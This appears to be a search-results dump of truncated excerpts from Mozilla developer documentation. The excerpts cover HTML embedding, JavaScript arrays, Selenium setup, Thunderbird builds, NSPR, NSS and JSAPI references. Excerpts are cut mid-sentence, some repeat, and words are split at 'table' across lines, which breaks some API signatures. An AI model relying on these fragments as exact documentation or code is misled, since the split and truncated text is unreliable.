...one. try turning images off in your browser and see how it looks. a figure doesn't have to be an image. it is an independent unit of content that: expresses your meaning in a compact, easy-to-grasp way. could go in several places in the page's linear flow. provides essential information supporting the main text. a figure could be several images, a code snippet, audio, video, equations, a
table, or something else. active learning: creating a figure in this active learning section, we'd like you to take the finished code from the previous active learning section, and turn it into a figure: wrap it in a <figure> element. copy the text out of the title attribute, remove the title attribute, and put the text inside a <figcaption> element below the image. if you make a mistake, you c...
...gure> element. copy the text out of the title attribute, remove the title attribute, and put the text inside a <figcaption> element below the image. if you make a mistake, you can always reset it using the reset button. ...
From object to iframe — other embedding technologies - Learn web development
ame>, like flash movies and other webpages. a short history of embedding a long time ago on the web, it was popular to use frames to create websites — small parts of a website stored in individual html pages. these were embedded in a master document called a frameset, which allowed you to specify the area on the screen that each frame filled, rather like sizing the columns and rows of a
table. these were considered the height of coolness in the mid to late 90s, and there was evidence that having a webpage split up into smaller chunks like this was better for download speeds — especially noticeable with network connections being so slow back then. they did however have many problems, which far outweighed any positives as network speeds got faster, so you don't see them being used any...
...embed map option, which will give you some <iframe> code — copy this. insert it into the input box below, and see what the result is in the output. if you make a mistake, you can always reset it using the reset button. if you get really stuck, press the show solution button to see an answer. ...
...re designed to allow you to embed other web documents into the current document. this is great for incorporating third-party content into your website that you might not have direct control over and don't want to have to implement your own version of — such as video from online video providers, commenting systems like disqus, maps from online map providers, advertising banners, etc. the live edi
table examples you've been using through this course are implemented using <iframe>s. there are some serious security concerns to consider with <iframe>s, as we'll discuss below, but this doesn't mean that you shouldn't use them in your websites — it just requires some knowledge and careful thinking. let's explore the code in a bit more detail. say you wanted to include the mdn glossary on one of yo...
...s requires a security certificate, which can be expensive (although let's encrypt makes things easier) — if you can't get one, you may serve your parent document with http. however, because of the second benefit of https above, no matter what the cost, you must never embed third-party content with http. (in the best case scenario, your user's web browser will give them a scary warning.) all repu
table companies that make content available for embedding via an <iframe> will make it available via https — look at the urls inside the <iframe> src attribute when you are embedding content from google maps or youtube, for example. note: github pages allow content to be served via https by default, so is useful for hosting content. if you are using different hosting and are not sure, ask your host...
Arrays - Learn web development
we'll look at some rather useful array-related methods that allow us to split strings into array items and vice versa, and add new items into arrays. converting between strings and arrays often you'll be presented with some raw data contained in a big long string, and you might want to separate the useful items out into a more useful form and then do things to them, like display them in a data
table. to do this, we can use the split() method. in its simplest form, this takes a single parameter, the character you want to separate the string at, and returns the substrings between the separator as items in an array. note: okay, this is technically a string method, not an array method, but we've put it in with arrays as it goes well here. let's play with this, to see how it works. first, c...
... first unshift() — try the following commands: myarray.unshift('edinburgh'); myarray; now shift(); try these! let removeditem = myarray.shift(); myarray; removeditem; active learning: printing those products! let's return to the example we described earlier — printing out product names and prices on an invoice, then totaling the prices and printing them at the bottom. in the edi
table example below there are comments containing numbers — each of these marks a place where you have to add something to the code. they are as follows: below the // number 1 comment are a number of strings, each one containing a product name and price separated by a colon. we'd like you to turn this into an array and store it in an array called products. on the same line as the // number 2 comm...
...t the itemtext variable is made equal to "current item name — $current item price", for example "shoes — $23.99" in each case, so the correct information for each item is printed on the invoice. this is just simple string concatenation, which should be familiar to you. ...
...mment that adds the current value entered into the search input to the start of the array. this can be retrieved using searchinput.value. add a line below the // number 2 comment that removes the value currently at the end of the array. ...
Setting up your own test automation environment - Learn web development
iver note: it is still a good idea to follow these steps even if you previously installed selenium-webdriver and downloaded the browser drivers. you should make sure that everything is up-to-date. next, you need to download the relevant drivers to allow webdriver to control the browsers you want to test. you can find details of where to get them from on the selenium-webdriver page (see the
table in the first section.) obviously, some of the browsers are os-specific, but we're going to stick with firefox and chrome, as they are available across all the main oses. download the latest geckodriver (for firefox) and chromedriver drivers. unpack them into somewhere fairly easy to navigate to, like the root of your home user directory. add the chromedriver and geckodriver driver's location...
...the gettitle() method, then return a pass or fail message depending on what its value is. we could add a sleep() method to our quick_test.js test too — try wrapping your last line of code in a block like this: driver.sleep(2000).then(function() { input.sendkeys('filling in my form'); input.getattribute("value").then(function(value) { if(value !== '') { console.log('form input edi
table'); } }); }); webdriver will now wait for 2 seconds before filling in the form field. we then test whether its value got filled in (i.e. is not empty) by using getattribute() to retrieve it's value attribute value, and print a message to the console if it is not empty. note: there is also a method called wait(), which repeatedly tests a condition for a certain length of time, and then car...
.... test best practices there has been a lot written about best practices for writing tests. you can find some good background information at test design considerations. in general, you should make sure that your tests are: using good locator strategies: when you are interacting with the document, make sure that you use locators and page objects that are unlikely to change — if you have a tes
table element that you want to perform a test on, make sure that it has a s
table id, or position on the page that can be selected using a css selector, which isn't going to just change with the next site iteration. you want to make your tests as non-brittle as possible, i.e. they won't just break when something changes. write atomic tests: each test should test one thing only, making it easy to keep t...
...owserstack, you can always set up your own remote testing server. let's look at how to do this. the selenium remote server requires java to run. download the latest jdk for your platform from the java se downloads page. install it when it is downloaded. next, download the latest selenium standalone server — this acts as a proxy between your script and the browser drivers. choose the latest s
table version number (i.e. not a beta), and from the list choose a file starting with "selenium-server-standalone". when this has downloaded, put it in a sensible place, like in your home directory. if you've not already added the location to your path, do so now (see the setting up selenium in node section). run the standalone server by entering the following into a terminal on your server computer ...
Old Thunderbird build
directory, and run: ./mozilla/mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depending on your system, os, and chosen build options. linux builds on a fast box may take under 15 minutes, but windows builds on a slow box may take several hours. tips for making builds faster. the execu
table will be at the location listed under running below. building thunderbird and lightning if you've set up your build environment as above, then all you need to do is: echo 'ac_add_options --enable-calendar' >> mozconfig in the comm-central directory, or just add the ac_add_options --enable-calendar line to your mozconfig with your favorite editor. then just re-run the mach command above (you ...
...the ac_add_options --enable-calendar line to your mozconfig with your favorite editor. then just re-run the mach command above (you can do the addition before running mach for the first time). running to run your build, you can use ./mozilla/mach run there are various command line parameters you can add, e.g. to specify a profile. ...
...here are various command line parameters you can add, e.g. to specify a profile. various temporary files, libraries, and the thunderbird execu
table will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact name depends on your system and os. for example, a mac user may get an object directory name of obj-x86_64-apple-darwin10.7.3/. the thunderbird execu
table in particular, and its dependencies, are located under the dist/bin folder under the object directory. ...
... thunderbird execu
table will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact name depends on your system and os. for example, a mac user may get an object directory name of obj-x86_64-apple-darwin10.7.3/. the thunderbird execu
table in particular, and its dependencies, are located under the dist/bin folder under the object directory. to run the execu
table from your comm-central working directory: windows: obj-.../dist/bin/thunderbird.exe linux: obj-.../dist/bin/thunderbird os x: obj-.../dist/daily.app/contents/macos/thunderbird how to update and build again in your comm-central directory, run the same command as before: python client.py checkout then just re-run the mach command above. this will only recompile files that changed, but it...
HTML parser threading
ized tokenizer/tree builder for speculatively scanning the tail of document.write() data when the parser blocks without parsing the document.write() data to completion. nshtml5streamparser has one tokenizer/tree builder pair for parsing data from the network. additionally, each nshtml5parser has an associated nshtml5treeopexecutor that turns the output (tree operations; discussed later) of the por
table parser core into actions performed on the gecko dom. initialization an nshtml5parser is constructed without an nshtml5streamparser due to legacy code structure around parser creation. if the parser is not script-created, nshtml5parser::markasnotscriptcreated() is called to create an nshtml5streamparser for the nshtml5parser. due to legacy interface design oddities, an nshtml5parser is initialized...
...n attribute holder, the tree builder deletes the attribute holder explicitly. attribute values, public identifiers (in doctype) and system identifiers (in doctype) are heap-allocated nsstring objects (i.e. pointed to by nsstring*!). attribute values nsstrings are deleted by the attribute holder when it gets deleted. public identifiers and system identifiers are deleted by the tree op or by the por
table parser core if they don't make it as far a tree op. the backing nsstringbuffers are thread-safely refcounted appropriately when the nsstring goes away. (aside: it would make more sense to make the parser deal with nsstringbuffers directly without having heap-allocated nsstrings involved.) element names, attribute names and the doctype name are represented as nsiatoms. pre-interned attribute and e...
...ted nsstrings involved.) element names, attribute names and the doctype name are represented as nsiatoms. pre-interned attribute and element names hold atoms that are actually app-wide nsstaticatoms. since nsstaticatoms are valid app-wide, these atoms work right app-wide on the main thread. for other atoms, the parser uses nshtml5atom objects that are atomic only within the scope of an nshtml5atom
table. there is one nshtml5atom
table per each nshtml5parser and one per each nshtml5streamparser. thus, each tokenizer/tree builder pair sees atoms that are atomic (pointer-comparable) within the tokenizer/tree builder pair. however, when tree ops are executed, every atom has to be tested for being a static atom (using isstaticatom()). if the atom isn't static, a corresponding normal main-thread dynami...
... that are atomic (pointer-comparable) within the tokenizer/tree builder pair. however, when tree ops are executed, every atom has to be tested for being a static atom (using isstaticatom()). if the atom isn't static, a corresponding normal main-thread dynamically-allocated atom has to be obtained for the same string and used instead of the nshtml5atom. nshtml5atom objects are guaranteed to be immu
table and to stay alive for the lifetime of the parser instance, so it's safe for the main thread to call their methods (as is necessary to find the corresponding normal atom). references to dom nodes in tree ops are of type nsicontent** and are called content handles. a handle points to memory allocated by the tree builder and guaranteed to stick around for the life time of the parser. the tree builde...
Gecko's "Almost Standards" Mode
endering mode referred to as "almost standards" mode. this is added to the long-standing "quirks" and "standards" modes. "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them. ...
..." mode. this is added to the long-standing "quirks" and "standards" modes. "almost standards" rendering mode is exactly the same as "standards" mode in all details save one, where it works like "quirks" mode: the height calculations for line boxes and some of the inline elements in them. a common case that this affects is the layout of images inside
table cells. ...
...ght calculations for line boxes and some of the inline elements in them. a common case that this affects is the layout of images inside
table cells. this means that sliced-images-in-
tables layouts are less likely to fall apart in gecko-based browsers based on the rendering engine found in mozilla 1.0.1 or later when in either "quirks" or "almost standards" mode. ...
...identifier) will trigger "almost standards" mode, as will any xhtml 1.0 transitional or frameset doctype, with or without the uri. authors outside of ibm do not need to worry about the custom doctype that will also trigger "almost standards" mode. recommendations for authors who are attempting to migrate to validated markup using either html 4.01 or xhtml 1.0, and who are still using image-in-
table design concepts, make sure to use a doctype that will trigger "almost standards" mode. also on mdc images,
tables, and mysterious gaps mozilla's doctype sniffing mozilla's quirks mode original document information author(s): eric a. meyer, netscape communications last updated date: published 08 nov 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. n...
Optimizing Applications For NSPR
this has proven to be quite challenging, a challenge that was met to a large degree, but there is always room for improvement. the casual client may not encounter a need to know the details of the shortcomings to the level described here, but if and when clients become more sophisticated, these issues will certainly surface. this memo is by no way complete. multiplatform do not call any blocking system call from a local thread. the only exception to this rule is the <tt>select()</tt> and <tt>poll()</tt> system calls on unix, both of which nspr has overridden to make sure they are aware of the nspr local threads. ...
...tialization. interrupting threads (via <tt>pr_interrupt()</tt>) on threads blocked in i/o functions is implemented to various degrees on different platforms. the unix based platforms all implement the function though there may be up to a 5 second delay in processing the request. the mechanism used to implement <tt>pr_interrupt()</tt> on the pthreads versions of nspr is flawed. no failure attribu
table to the flaw has shown up in any tests or products - yet. the specific area surrounding pthread's continuation thread has been both observed and empirically proven faulty, and a correction identified. macintosh the current port of nspr for macintosh will not be usable in its own right. the implementation has dependencies on libraries that are implemented in the netscape communicator. the work ...
... both observed and empirically proven faulty, and a correction identified. macintosh the current port of nspr for macintosh will not be usable in its own right. the implementation has dependencies on libraries that are implemented in the netscape communicator. the work to undo this dependency has already been started and the result will be made available soon. macintosh threads are not preemp
table. as usual, it isn't that we couldn't preempt them, but rather that the macintosh libraries are not prepared for such things to happen. nspr does take advantage of macintosh' asynchronous i/o capability to perform scheduling during i/o. still, there is no enforceable mechanism to guarantee thread scheduling fairness. calendar time facilities are limited on macintosh. one can only determine the im...
...but clients may find the win-95 version more suited (and adequate) for interactive applications such as are prevalent on today's workstations. the nt version implements a mxn threading model, using native nt threads as the virtual processors and nt's fiber abstraction as the locally scheduled threads. the fibers are nice because much of the nt api understands them. but they are not really preemp
table, and that can lead to problems, depending on the needs of your application. the mode (blocking or nonblocking) of a socket cannot be changed at will once the socket has been used. also, the new socket created by an <tt>pr_accept()</tt> call on a listening socket inherits the mode of the listening socket, and cannot be changed. a file descriptor is not usable after an io operation on it fails wi...
Anonymous Shared Memory
compare the file-mapped anonymous shared memory to to a named shared memory described in prshm.h. ...
...s. further, when all processes using an anonymous shared memory terminate, the backing file is deleted. ... if you are not paranoid, you're not paying attention. the file-mapped shared memory requires a protocol for the parent process and child process to share the memory. nspr provides two protocols. use one or the other; don't mix and match. in the first protocol, the job of passing the inheri
table shared memory is done via helper-functions with pr_createprocess. in the second protocol, the parent process is responsible for creating the child process; the parent and child are mutually responsible for passing a filemap string. nspr provides helper functions for extracting data from the prfilemap object. ... see the examples below. both sides should adhere strictly to the protocol for proper...
...adhere strictly to the protocol for proper operation. the pseudo-code below shows the use of a file-mapped shared memory by a parent and child processes. in the examples, the server creates the file-mapped shared memory, the client attaches to it. first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_memmap(fm); attr = pr_newprocessattr(); pr_processattrsetinheri
tablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ... yadda ... pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); fmstri...
...erver uses his own magic to create child pr_memunmap( addr ); pr_closefilemap(fm); client: ... ...
NSS_3.12_release_notes.html
4: don't reject certs with critical netscapecerttype extensions in libpkix bug 395427: pkix_pl_initialize must not call nss_init bug 395850: build of libpkix tests creates links to nonexistant shared libraries and breaks windows build bug 398401: memory leak in pkix init. bug 399326: libpkix is unable to validate cert for certusagestatusresponder bug 400947: thread unsafe operation in pkix_pl_hash
table_add cause selfserv to crash. bug 402773: verify the list of public header files in nss 3.12 bug 403470: strsclnt + tstclnt crashes when pkix enabled. bug 403685: application crashes after having called cert_pkixverifycert bug 408434: crash with pkix based verify bug 411614: explicit policy does not seem to work. bug 417024: convert libpkix error code into nss error code bug 422859: libpkix builds...
...n crashes after having called cert_pkixverifycert bug 408434: crash with pkix based verify bug 411614: explicit policy does not seem to work. ...
...called cert_pkixverifycert bug 408434: crash with pkix based verify bug 411614: explicit policy does not seem to work. ...
...public header file bug 213359: enhance pk12util to extract certs from p12 file bug 329067: nss encodes cert distinguished name attributes with wrong string type bug 339906: sec_pkcs12_install_bags passes uninitialized variables to functions bug 396484: certutil doesn't truncate existing temporary files when writing them bug 251594: certificate from pkcs#12 file with colon in friendlyname not selec
table for signing/encryption bug 321584: nss pkcs12 decoder fails to import bags without nicknames bug 332633: remove duplicate header files in nss/cmd/sslsample bug 335019: pk12util takes friendly name from key, not cert bug 339173: mem leak whenever secmod_handle_string_arg called in loop bug 353904: klocwork null ptr deref in secasn1d.c bug 366390: correct misleading function names in fipstest bug 3...
NSS API Guidelines
members have the same standard as exposed data structure members. enum members have the same standard as data types. enum members have the same standard as public macros (minus the '()' of course). options 2 and 3 are the more preferred options. option 1, currently the most common used for enums, actually creates namespace pollution. callback functions, and functions used in function
tables, should have a typedef used to define the complete signature of the given function. function typedefs should have the following format: layerbody(), with the same definitions for layer as public functions, and body is camel case english words. for example: layercapitalizedenglishwords or seckeyprivatekey. opaque data structures there are many data structures in the security library whose defi...
...ple may be the peercert field, in an ssl data structure. accessor functions, for these data elements, should be added to the api. there can be legitimate exceptions to this 'make everything opaque' rule. for example, in container structures, such as secitem, or maybe linked list data structures. these data structures need to be examined on a case by case basis, to determine if they are truly s
table and will not change in future release it is necessary for the callers of the api to know the size of these structures, as they may allocate new ones and pass them down. memory allocation with arenas this section discusses memory allocation using arenas. nss code uses arenas, and this section explains some of the improvements we are making. nss makes use of traditional memory allocation funct...
...ata structures. these data structures are used for single streams, and not reused. examples of these data in structures may include things like the pkcs #7 contentinfo structure. example code should be included in the documentation, to show how to safely use these data objects. a major type of global and allocated data that should be examined is various data on lists. queued, linked, and hash
table stored objects should be examined with special care. make sure adding, removing, accessing, and destroying these objects are all safe operations. there are a number of strategies, and entire books about how to safely access data on lists. some simple strategies and their issues: use hash
tables: hash
table lookups are usually quite fast, limiting the contention on the lock. this is best for l...
...d destroying these objects are all safe operations. there are a number of strategies, and entire books about how to safely access data on lists. some simple strategies and their issues: use hash
tables: hash
table lookups are usually quite fast, limiting the contention on the lock. this is best for large lists of objects. be sure to calculate the hash value first, then only lock over the hash
table value itself. be sure to increment the reference count, on the returned object, before unlocking. examples of hash
tables can be found in security/nss/lib/certdb/pcertdb.c lock over the entire search: for small linked listed, queues, or arrays, you can lock over the entire search. this strategy is best when lists are short, or even better if lists are relatively read only (they don't change very...
PKCS11 Implement
info anytime it's looking for a new token to check whether the token is write protected, whether it can generate random numbers, and so on. the nss expects ck_token_info.label to contain the name of the token. if the ckf_write_protected flag is set, nss won't use the token to generate keys. the nss interprets the combination of the ckf_login_required and ckf_user_pin_initialized flags as shown in
table 1.1. nss's interpretation of the ckf_login_required and ckf_user_pin_initialized flags cfk_login_required cfk_user_pin_initialized nss assumes that: false false this is a general access device. the nss will use it without prompting the user for a pin. true false the device is uninitialized. the nss attempts to initialize the device only if it needs to generate a key or needs to s...
... when the password is timed out when performing any kind of private key operation if "ask always" is turned on when changing a password when the user logs out object management c_createobject the nss calls c_createobject when loading new private keys and new certificates into a token. typically, nss uses c_createobject for creating a new private key if pkcs #12 is operating or if your wri
table token doesn't support c_generatekeypair. currently pkcs #12 isn't allowed to import onto a token. the nss also uses c_createobject to create new session keys. the nss sometimes loads raw key data and builds a key from that. the nss will be doing more and more session key generation on tokens in the future. it's also possible for nss to load a key if the private key that decrypted the key is locat...
...ed s/mime, because they can't decrypt messages. signing and decryption tokens can be used for s/mime and for encrypted transactions over unsecured networks such as the internet. multipurpose tokens provide the full range of cryptographic services. they can be thought of as cryptographic accelerator cards. future releases of nss will also support multipurpose tokens that are fips-140 compliant.
table 1.2 summarizes the pkcs #11 functions (in addition to the other functions described in this document) that nss expects each type of token to support. pkcs #11 functions required for different kinds of tokens external key distribution tokens signing tokens signing and decryption tokens multipurpose tokens c_encrypt c_decrypt ckm_rsa_pkcs ckm_rsa_x_509 (ssl 2.0 server only) c_...
...ve a read/write value and can't generate a key pair, nss uses its own c_generatekeypair and loads the key with c_createobject. signing tokens just need to support c_sign and possibly c_generatekeypair. in addition to c_sign and c_generatekeypair, signing and decryption tokens should also support c_decrypt and, optionally, c_unwrapkey. multipurpose tokens should support all the functions listed in
table 1.2, except that c_wrapkey and c_unwrapkey are optional. the nss always attempts to use these two functions but uses c_encrypt and c_decrypt instead if c_wrapkey and c_unwrapkey aren't implemented. installation you can install your module in any convenient location on the user's hard disk, but you must tell the user to type the module name and location in the cryptographic modules portion of t...
Python binding for NSS
project information python-nss is a python binding for nss (network security services) and nspr (netscape por
table runtime). nss provides cryptography services supporting ssl, tls, pki, pkix, x509, pkcs*, etc. nss is an alternative to openssl and used extensively by major software projects. nss is fips-140 certified. nss is built upon nspr because nspr provides an abstraction of common operating system services, particularly in the areas of networking and process management. python also provides an abstraction of common operating system services but because nss and nspr are tightly bound python-nss exposes elements of nspr. for information on nss and nspr, see the following: network security services (nss). nss project page. netscape por
table runtime. nspr project page. nspr ref...
.... nspr project page. nspr reference. nspr api documentation. design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python programs. the design of python-nss follows these basic guiding principles: be a thin layer with almost a one-to-one mapping of nss/nspr calls to python methods and functions. programmers already familiar with nss/nspr will be quite comfor
table with python-nss. be "pythonic". the term pythonic means to follow accepted python paradigms and idoms in the python language and libraries. thus when deciding if the nss/nspr api should be rigidly followed or a more pythonic api provided the pythonic implementation wins because python programmers do not want to write c programs in python, rather they want their python code to feel like python co...
...rsuiteinfo.symmetric_cipher sslciphersuiteinfo.symmetric_cipher_name sslciphersuiteinfo.symmetric_key_bits sslciphersuiteinfo.symmetric_key_space sslciphersuiteinfo.effective_key_bits sslciphersuiteinfo.mac_algorithm sslciphersuiteinfo.mac_algorithm_name sslciphersuiteinfo.mac_bits sslciphersuiteinfo.is_fips sslciphersuiteinfo.is_expor
table sslciphersuiteinfo.is_nonstandard sslchannelinfo.protocol_version sslchannelinfo.protocol_version_str sslchannelinfo.protocol_version_enum sslchannelinfo.major_protocol_version sslchannelinfo.minor_protocol_version sslchannelinfo.cipher_suite sslchannelinfo.auth_key_bits sslchannelinfo.kea_key_bits sslchannelinfo.creation_time ...
... usages (bitmask of returned usages) log (certverifylog object) expose error lookup to sibling modules use macros for bitmask_to_list functions to reduce code duplication and centralize logic. add repr_kind parameter to cert_trust_flags_str() add support for repr_kind asenumname to bitstring
table lookup. add cert_type_bitstr_to_tuple() lookup function add prtimeconvert(), used to convert python time values to prtime, centralizes conversion logic, reduces duplication add utf8ornoneconvert to better handle unicode parameters which are optional. add certificate_summary_format_lines() utility to generate concise certifica...
sslfnc.html
the set of available ssl cipher suites may grow from release to release of nss. applications will find it desirable to determine, at run time, what ssl2 cipher kinds and ssl3 cipher suites are actually implememted in a particular release. applications may disable any cipher suites that they don't know about (for example, that they cannot present to the user via a gui). to that end, nss provides a
table that can be examined at run time. all aspects of this
table are declared in ssl.h. ssl_implementedciphers[] is an external array of unsigned 16-bit integers whose values are either ssl2 cipher kinds or ssl3 cipher suites. the values are the same as the values used to enable or disable a cipher suite via calls to ssl_cipherprefsetdefault, and are defined in sslproto.h. the number of values in th...
...the macro ssl_is_ssl2_cipher can be used to determine whether a particular value is an ssl2 or an ssl3 cipher. warning: using the external array ssl_implementedciphers[] directly is deprecated. ...
...s argument must be true. when a new child that has been created by either createprocess or exec begins, it may have inherited file descriptors (fds), but not the parent's memory. therefore, to find out what fds it has inherited, it must be told about them. to that end, the function ssl_configmpserversidcache sets an environment variable named ssl_inheritance. the value of the variable is a prin
table ascii string, containing all the information needed to set up and use the inherited fds. there are two ways to transfer the content of ssl_inheritance from parent to child: the child inherits the parent's environment, which must include the ssl_inheritance variable. for the child to inherit the parent's environment you must set a specific argument to createprocess or pr_createprocess. th...
... struct seckeyprivatekeystr **pretkey); parameters this function has the following parameters: arg the arg parameter passed to ssl_getclientauthdatahook, which should be a pointer to a null-terminated string containing the nickname of the certificate and key pair to use. if arg is null, nss_getclientauthdata searches the certificate and key databases for a sui
table match and uses the certificate and key pair it finds, if any. socket a pointer to the file descriptor for the ssl socket. canames a pointer to distinguished names of cas that the server accepts. pretcert a pointer to a pointer to a certificate structure, for returning the certificate. ...
TLS Cipher Suite Discovery
libssl provides enough information about each of the supported cipher suites that the application can construct a display of that information from which the user can choose which cipher suites his application will attempt to use. here are the details of how an nss-based application learns what cipher suites are supported and obtains the information to display to the user. ...
...t the application can construct a display of that information from which the user can choose which cipher suites his application will attempt to use. here are the details of how an nss-based application learns what cipher suites are supported and obtains the information to display to the user. libssl offers a public
table of well defined cipher suite numbers. the cipher suites are listed in the
table in order of preference, from the most preferred cipher suite to the least preferred. the size of this
table varies from release to release, and so libssl makes the number of entries in that
table publicly available too. the
table and the number of entries are declared in "ssl.h", as follows: /* constant
table enumerating all implemented ssl 2 and 3 cipher suites. */ ssl_import const pruint16...
...*/ ssl_import const pruint16 ssl_numimplementedciphers; of course, the raw integer numbers of the cipher suites are not likely to be known to most users, so libssl provides a function by which the application can obtain a wealth of information about any supported cipher suite, by its number. ...
... symciphername; sslcipheralgorithm symcipher; pruint16 symkeybits; pruint16 symkeyspace; pruint16 effectivekeybits; /* mac info */ const char * macalgorithmname; sslmacalgorithm macalgorithm; pruint16 macbits; pruintn isfips : 1; pruintn isexpor
table : 1; pruintn nonstandard : 1; pruintn reservedbits :29; } sslciphersuiteinfo; (unfinished, to be completed here) ...
JS::Call
this article covers features introduced in spidermonkey 17 call a specified js function. ...
... this article covers features introduced in spidermonkey 17 call a specified js function. ...
...cx, js::handleobject thisobj, js::handlefunction fun, const js::handlevaluearray &args, js::mu
tablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject thisobj, const char *name, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject thisobj, js::handlevalue fun, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handlevalue fun, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handleobject funobj, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); name type description cx jscontext * pointer to a j...
...ecified here is "this" when the function executes. fun / funobj js::handlefunction / js::handlevalue / js::handleobject pointer to the function to call. should be a native function or jsapi-compiled function. name const char * pointer to the function name to call. args js::handlevaluearray & arguments to pass to the function. rval js::mu
tablehandlevalue out parameter. on success, *rval receives the return value from the function call. description js::call calls a specified function, fun, on an object, thisobj. in terms of function execution, the object is treated as this. for more detail, see js_callfunction, js_callfunctionname, and js_callfunctionvalue. see also mxr id search for js::call js_callfunction js_callfun...
JS_CallFunction
calls a specified js function. ...
... calls a specified js function. ...
... const js::handlevaluearray& args, js::mu
tablehandlevalue rval); bool js_callfunctionname(jscontext *cx, js::handleobject obj, const char *name, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); bool js_callfunctionvalue(jscontext *cx, js::handleobject obj, js::handlevalue fval, const js::handlevaluearray& args, js::mu
tablehandlevalue rval); /* obsolete since jsapi 30 */ bool js_callfunction(jscontext *cx, jsobject *obj, jsfunction *fun, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionname(jscontext *cx, jsobject *obj, const char *name, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionvalue(jscontext *cx, jsobject *obj, jsval fval, unsigned argc, ...
...to call. args const js::handlevaluearray & reference to the array of argument values to pass to the function. added in spidermonkey 31 argc unsigned number of arguments you are passing to the function. obsolete since jsapi 30 argv jsval * pointer to the array of argument values to pass to the function. obsolete since jsapi 30 rval js::mu
tablehandlevalue out parameter. on success, *rval receives the return value from the function call. description js_callfunction calls a specified function, fun, on an object, obj. in terms of function execution, the object is treated as this. js_callfunctionname calls a function with specified name, name on an object obj. if js engine fails to get the function, it returns false. js_callfun...
JS_CompileScript
compiles a script for execution. ...
...tax // added in spidermonkey 45 bool js_compilescript(jscontext *cx, const char *ascii, size_t length, const js::compileoptions &options, js::mu
tablehandlescript script); bool js_compileucscript(jscontext *cx, const char16_t *chars, size_t length, const js::compileoptions &options, js::mu
tablehandlescript script); // obsolete since jsapi 39 bool js_compilescript(jscontext *cx, js::handleobject obj, const char *ascii, size_t length, const js::compileoptions &options, js::mu
tablehandlescript script); bool js_compileucscript(jscontext *cx, js::handleobject obj, const char16_t *chars, size_t length, ...
...requires request. ...
... jsoption_compile_n_go option is set in cx, the resulting script must be executed in this scope, and at most once. obsolete since jsapi 39 ascii or chars const char * or const char16_t * string containing the script to compile. length size_t the length, in characters, of source. options js::compileoptions & compile options. script js::mu
tablehandlescript out parameter. on success, script receives the result script. description js_compilescript compiles a script, source, for execution. js_compileucscript is the unicode version of the function. the script is associated with a js object. ascii and chars are the string containing the text of the script. length indicates the size of the text version of the script in characters.
JS_ExecuteScript
execute a compiled script. ...
... execute a compiled script. ...
...jscontext *cx, js::autoobjectvector &scopechain, js::handlescript script, js::mu
tablehandlevalue rval); // added in spidermonkey 36 bool js_executescript(jscontext *cx, js::autoobjectvector &scopechain, js::handlescript script); // added in spidermonkey 36 bool js_executescript(jscontext *cx, js::handleobject obj, js::handlescript script, js::mu
tablehandlevalue rval); // obsolete since jsapi 39 bool js_executescript(jscontext *cx, js::handleobject obj, js::handlescript script); // obsolete since jsapi 39 bool js::cloneandexecutescript(jscontext *cx, js::handle<jsscript*> script); // added in spidermonkey 45 bool js::cloneandexecutescript(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsscript*> script); // a...
... scopechain js::autoobjectvector & an explicit scope chain. scopechain must not include the global object on it; that's implicit. it needs to contain the other objects that should end up on the scripts's scope chain. objects in the vector should be ordered from inner to the outer scope. script js::handlescript the compiled script to execute. rval js::mu
tablehandlevalue out parameter. on success, rval receives the value from the last executed expression statement processed in the script. description js_executescript executes a previously-compiled script, script. js::cloneandexecutescript handles a cross-compartment script. if the script is cross-compartment, it is cloned into the current compartment before executing. if the script execute...
JS_GetProperty
requires request. ...
...requires request. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...uild, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or const char16_t * or js::handleid name of the property to look up. namelen size_t (in js_getucproperty only) the length of name, in characters; or -1 to indicate that name is null-terminated. vp js::mu
tablehandlevalue out parameter. on success, *vp receives the current value of the property, or undefined if no such property is found. description js_getproperty examines a specified js object obj and its prototype chain for a property with the specified name. it behaves like the javascript expression obj[name]. js_getucproperty is the unicode version of the function. js_getpropertybyid is t...
JS_PropertyStub
default implementations of the required callbacks in jsclass. ...
... default implementations of the required callbacks in jsclass. ...
... *cx, js::handleobject obj, js::handleid id, js::mu
tablehandlevalue vp); bool js_strictpropertystub(jscontext *cx, js::handleobject obj, js::handleid id, js::mu
tablehandlevalue vp, js::objectopresult &result); // added in spidermonkey 45 bool js_strictpropertystub(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mu
tablehandlevalue vp); // obsolete since jsapi 39 bool js_resolvestub(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolvedp); // obsolete since jsapi 37 bool js_deletepropertystub(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // obsolete since jsapi 37 bool js_enumeratestub(jscontext *cx, js::handleobject obj); // obsolete...
...rather, they are convenient stand-ins anywhere the jsapi requires callbacks of certain types. examples at jsclass illustrate how stub functions can be used. js_propertystub is of...
Browser security
web-oriented project, is its security. these articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. a web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates. ...
